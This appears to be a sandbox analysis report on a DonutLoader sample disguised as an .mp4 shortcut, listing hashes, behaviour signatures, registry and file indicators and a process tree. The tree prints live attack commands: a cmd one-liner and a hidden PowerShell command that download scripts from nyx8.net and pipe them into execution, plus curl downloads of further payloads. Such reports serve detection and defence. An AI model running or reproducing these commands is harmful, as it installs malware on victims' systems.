donutloader | 1c7386333c0eea8eedc4aa758f57c1b20cb1832cc3193cb8b26fe5e9865f7007

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 04:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenreversecowgirlboyf.mp4.lnk
Size 697B
Sample260626-eytfaagy4y
SHA256 1c7386333c0eea8eedc4aa758f57c1b20cb1832cc3193cb8b26fe5e9865f7007
MD5 fd90e003a2bdad99454e8d35efc7a463
SHA1 65756fd3afca862b0aa3a6dd5f115710c63d745a
SHA512 9372af9f43bcc0b93c443cb9184569ad43ce2a507e189d3a2c37f6dd3a12b3b83eab906908bc441dac62a69ced988f7097bef59c63690be569b7c006acdce557
TLSH
T16401284022EC1728D3B35A3B4C3956114A25BA45EF32DB7C57D4958CA869104AD2DF3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral6/memory/5220-124-0x000001FC7EF60000-0x000001FC7EF7A000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	6028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6028	powershell.exe
3904	powershell.exe
2712	powershell.exe
540	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
584	takeown.exe
4232	icacls.exe
1320	icacls.exe
1588	icacls.exe
3304	icacls.exe
2600	icacls.exe

Deletes itself 1 IoCs

pid	Process
6028	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
952	7z.exe
5220	node.exe
4880	PsExec.exe
5256	PSEXESVC.exe
4268	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
5220	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
584	takeown.exe
4232	icacls.exe
1320	icacls.exe
1588	icacls.exe
3304	icacls.exe
2600	icacls.exe

Drops desktop.ini file(s) 9 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\D:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4880	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3336	powercfg.exe
788	powercfg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_irv3eear.t2f.ps1	powershell.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.tmp	powershell.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.err	powershell.exe
File created	\??\c:\Windows\SystemTemp\3y4yzubr\CSC18138A4EAE41388566D9FB4D9A531D.TMP	csc.exe
File opened for modification	\??\c:\Windows\SystemTemp\3y4yzubr\3y4yzubr.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_p1tfzpbg.x00.psm1	powershell.exe
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.dll	powershell.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.out	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_rxiooarw.idr.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0w21ila1.pcq.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tzrsxdmj.cae.psm1	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RES4B28.tmp	cvtres.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uij1cywb.prr.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_dan4veal.mjo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_23dnefsq.gdv.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3ibxpxwv.iuc.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ubw0ypc4.pi3.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File opened for modification	C:\Windows\PSEXEC-NYPODJDV-D41B6D62.key	PSEXESVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-19 = "Ultimate Performance"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-537605601-1362463912-856654178-1000\{1103F92D-EA3F-4C73-A057-609B3C40D7CF}	wmplayer.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
6028	powershell.exe
6028	powershell.exe
6028	powershell.exe
6028	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
2712	powershell.exe
2712	powershell.exe
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5308	unregmp2.exe
Token: SeCreatePagefilePrivilege	5308	unregmp2.exe
Token: SeShutdownPrivilege	5756	wmplayer.exe
Token: SeCreatePagefilePrivilege	5756	wmplayer.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeShutdownPrivilege	5756	wmplayer.exe
Token: SeCreatePagefilePrivilege	5756	wmplayer.exe
Token: SeIncreaseQuotaPrivilege	6028	powershell.exe
Token: SeSecurityPrivilege	6028	powershell.exe
Token: SeTakeOwnershipPrivilege	6028	powershell.exe
Token: SeLoadDriverPrivilege	6028	powershell.exe
Token: SeSystemProfilePrivilege	6028	powershell.exe
Token: SeSystemtimePrivilege	6028	powershell.exe
Token: SeProfSingleProcessPrivilege	6028	powershell.exe
Token: SeIncBasePriorityPrivilege	6028	powershell.exe
Token: SeCreatePagefilePrivilege	6028	powershell.exe
Token: SeBackupPrivilege	6028	powershell.exe
Token: SeRestorePrivilege	6028	powershell.exe
Token: SeShutdownPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeSystemEnvironmentPrivilege	6028	powershell.exe
Token: SeRemoteShutdownPrivilege	6028	powershell.exe
Token: SeUndockPrivilege	6028	powershell.exe
Token: SeManageVolumePrivilege	6028	powershell.exe
Token: 33	6028	powershell.exe
Token: 34	6028	powershell.exe
Token: 35	6028	powershell.exe
Token: 36	6028	powershell.exe
Token: SeIncreaseQuotaPrivilege	6028	powershell.exe
Token: SeSecurityPrivilege	6028	powershell.exe
Token: SeTakeOwnershipPrivilege	6028	powershell.exe
Token: SeLoadDriverPrivilege	6028	powershell.exe
Token: SeSystemProfilePrivilege	6028	powershell.exe
Token: SeSystemtimePrivilege	6028	powershell.exe
Token: SeProfSingleProcessPrivilege	6028	powershell.exe
Token: SeIncBasePriorityPrivilege	6028	powershell.exe
Token: SeCreatePagefilePrivilege	6028	powershell.exe
Token: SeBackupPrivilege	6028	powershell.exe
Token: SeRestorePrivilege	6028	powershell.exe
Token: SeShutdownPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeSystemEnvironmentPrivilege	6028	powershell.exe
Token: SeRemoteShutdownPrivilege	6028	powershell.exe
Token: SeUndockPrivilege	6028	powershell.exe
Token: SeManageVolumePrivilege	6028	powershell.exe
Token: 33	6028	powershell.exe
Token: 34	6028	powershell.exe
Token: 35	6028	powershell.exe
Token: 36	6028	powershell.exe
Token: SeIncreaseQuotaPrivilege	6028	powershell.exe
Token: SeSecurityPrivilege	6028	powershell.exe
Token: SeTakeOwnershipPrivilege	6028	powershell.exe
Token: SeLoadDriverPrivilege	6028	powershell.exe
Token: SeSystemProfilePrivilege	6028	powershell.exe
Token: SeSystemtimePrivilege	6028	powershell.exe
Token: SeProfSingleProcessPrivilege	6028	powershell.exe
Token: SeIncBasePriorityPrivilege	6028	powershell.exe
Token: SeCreatePagefilePrivilege	6028	powershell.exe
Token: SeBackupPrivilege	6028	powershell.exe
Token: SeRestorePrivilege	6028	powershell.exe
Token: SeShutdownPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeSystemEnvironmentPrivilege	6028	powershell.exe
Token: SeRemoteShutdownPrivilege	6028	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5756	wmplayer.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 5240 wrote to memory of 3236	5240	cmd.exe	90
PID 5756 wrote to memory of 1840	5756	wmplayer.exe	92
PID 1840 wrote to memory of 5308	1840	unregmp2.exe	93
PID 3236 wrote to memory of 5904	3236	cmd.exe	96
PID 3236 wrote to memory of 6028	3236	cmd.exe	97
PID 6028 wrote to memory of 4972	6028	powershell.exe	98
PID 6028 wrote to memory of 2896	6028	powershell.exe	99
PID 2896 wrote to memory of 1532	2896	csc.exe	100
PID 6028 wrote to memory of 4060	6028	powershell.exe	101
PID 4060 wrote to memory of 2604	4060	csc.exe	102
PID 6028 wrote to memory of 6004	6028	powershell.exe	103
PID 6004 wrote to memory of 932	6004	csc.exe	104
PID 6028 wrote to memory of 6032	6028	powershell.exe	105
PID 6028 wrote to memory of 3360	6028	powershell.exe	106
PID 6028 wrote to memory of 4336	6028	powershell.exe	108
PID 6028 wrote to memory of 1448	6028	powershell.exe	109
PID 6028 wrote to memory of 952	6028	powershell.exe	110
PID 6028 wrote to memory of 3644	6028	powershell.exe	111
PID 6028 wrote to memory of 584	6028	powershell.exe	112
PID 6028 wrote to memory of 2292	6028	powershell.exe	156
PID 6028 wrote to memory of 1768	6028	powershell.exe	114
PID 6028 wrote to memory of 864	6028	powershell.exe	158
PID 6028 wrote to memory of 5948	6028	powershell.exe	116
PID 6028 wrote to memory of 5780	6028	powershell.exe	117
PID 6028 wrote to memory of 612	6028	powershell.exe	118
PID 6028 wrote to memory of 3196	6028	powershell.exe	119
PID 6028 wrote to memory of 5220	6028	powershell.exe	120
PID 1728 wrote to memory of 540	1728	cmd.exe	125
PID 540 wrote to memory of 5500	540	powershell.exe	126
PID 5500 wrote to memory of 5292	5500	csc.exe	127
PID 540 wrote to memory of 4036	540	powershell.exe	129
PID 540 wrote to memory of 4880	540	powershell.exe	130
PID 5256 wrote to memory of 3904	5256	PSEXESVC.exe	133
PID 3904 wrote to memory of 4448	3904	powershell.exe	136
PID 4448 wrote to memory of 4596	4448	csc.exe	137
PID 3904 wrote to memory of 3336	3904	powershell.exe	139
PID 3904 wrote to memory of 788	3904	powershell.exe	140
PID 3904 wrote to memory of 4232	3904	powershell.exe	141
PID 3904 wrote to memory of 1320	3904	powershell.exe	142
PID 3904 wrote to memory of 1588	3904	powershell.exe	143
PID 3904 wrote to memory of 3304	3904	powershell.exe	144
PID 3904 wrote to memory of 2600	3904	powershell.exe	145
PID 3904 wrote to memory of 2616	3904	powershell.exe	146
PID 3904 wrote to memory of 2692	3904	powershell.exe	147
PID 3904 wrote to memory of 908	3904	powershell.exe	148
PID 3904 wrote to memory of 356	3904	powershell.exe	149
PID 3904 wrote to memory of 2192	3904	powershell.exe	150
PID 3904 wrote to memory of 5420	3904	powershell.exe	151
PID 3904 wrote to memory of 988	3904	powershell.exe	153
PID 3904 wrote to memory of 2824	3904	powershell.exe	154
PID 3904 wrote to memory of 1528	3904	powershell.exe	155
PID 3904 wrote to memory of 2292	3904	powershell.exe	156
PID 3904 wrote to memory of 2712	3904	powershell.exe	157

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
864	attrib.exe
5948	attrib.exe
5780	attrib.exe
612	attrib.exe
3196	attrib.exe
2292	attrib.exe
1768	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenreversecowgirlboyf.mp4.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenreversecowgirlboyf.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\curl.exe
    curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:5904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6028
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps1
      4⤵
      PID:4972
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dbli12kr\dbli12kr.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA57.tmp" "c:\Users\Admin\AppData\Local\Temp\dbli12kr\CSC6CF521B5DB7A477EB88BC15B22324FF8.TMP"
        5⤵
        
        PID:1532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kec05kub\kec05kub.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4060
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBDD.tmp" "c:\Users\Admin\AppData\Local\Temp\kec05kub\CSCEBD94F8694C94943A57B713F9CACC31.TMP"
        5⤵
        
        PID:2604
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\althmdgh\althmdgh.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6004
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC3B.tmp" "c:\Users\Admin\AppData\Local\Temp\althmdgh\CSC16E26518B356404D9E5DAE192545F9E3.TMP"
        5⤵
        
        PID:932
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:6032
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:3360
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      PID:4336
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:1448
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
